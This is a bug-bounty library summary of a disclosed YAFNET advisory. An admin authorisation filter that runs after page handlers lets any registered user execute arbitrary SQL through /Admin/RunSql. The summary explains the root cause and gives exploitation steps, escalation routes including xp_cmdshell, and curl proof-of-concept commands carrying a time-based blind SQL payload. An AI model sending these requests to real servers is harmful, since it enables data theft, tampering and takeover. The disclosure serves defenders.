# YAFNET: Pre-Handler Authorization Bypass on Admin Pages Enables Blind SQL Execution via `/Admin/RunSql`

YAFNET's admin auth filter runs after page handlers, so any registered user can POST to /Admin/RunSql and execute arbitrary SQL via the Editor parameter.

- Payout: Research
- Severity: high
- Program: YAFNET
- Found by: MuhammadUwais
- Disclosed: 2026-05-05
- CVE: CVE-2026-43937
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xhw7-j96h-c3g5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-xhw7-j96h-c3g5
- Tags: area:web domain:web impact:data-leak impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:dotnet technique:blind technique:source-review vuln:access-control vuln:auth-bypass vuln:sqli

**Target:** /Admin/RunSql Razor Page handler (OnPostRunQuery) backed by IDbAccess.RunSql
**Root cause:** PageSecurityCheckAttribute is a ResultFilterAttribute, so it executes after the page handler's side effects; no other admin gate exists. OnPostRunQuery binds Editor from the POST body and passes it directly to IDbAccess.RunSql without a caller check.
**Steps:**
1. Register or log in as any low-privileged user.
2. Fetch a __RequestVerificationToken from any rendered page plus session cookies.
3. POST to `/Admin/RunSql?handler=RunQuery` with body `Editor=<SQL>&__RequestVerificationToken=<token>`.
4. Send `Editor=IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5'` and observe ~5s delay (byte is 'M').
5. Send the same with `= 76` and observe immediate response, confirming the boolean time oracle.
**How found:** Code review of the authorization attribute: noticed PageSecurityCheckAttribute derives from ResultFilterAttribute, meaning it runs after handler execution, and that /Admin/RunSql's OnPostRunQuery passes the body-bound Editor straight to RunSql with no caller check.
**Exploitation:** Single authenticated POST per probe; the handler executes the injected SQL before the result filter rewrites the response to a 302 to /Info/4. Time-based boolean oracle (WAITFOR DELAY) extracts arbitrary data; blind INSERT/UPDATE/DELETE allows self-promotion to HostAdmin and data destruction. If xp_cmdshell or CLR is enabled on the SQL Server, escalates to OS command execution.
**Escalation:** Blind writes to yaf_User/yaf_UserRole enable self-promotion to HostAdmin; class-wide bypass exposes every other admin OnPost handler (user management, XML imports, file-writing config pages); xp_cmdshell/CLR yields OS-level RCE on the DB host.
**Insight:** Audit MVC/Razor filter types: any auth check implemented as ResultFilterAttribute or OnResultExecuting runs after handler side effects and is bypassable. Grep admin handlers for body-bound parameters flowing into raw SQL/command sinks, then confirm with a conditional WAITFOR time oracle.

## Proof of concept (copied exactly from the original report)

**Curl POST to /Admin/RunSql with time-based SQL payload**

```
curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'
```

**False-condition control payload (76 = L)**

````
Payload: ```IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5'``` (76 is the character **L**)
URL Encoded Payload: ```%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27```

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27
````

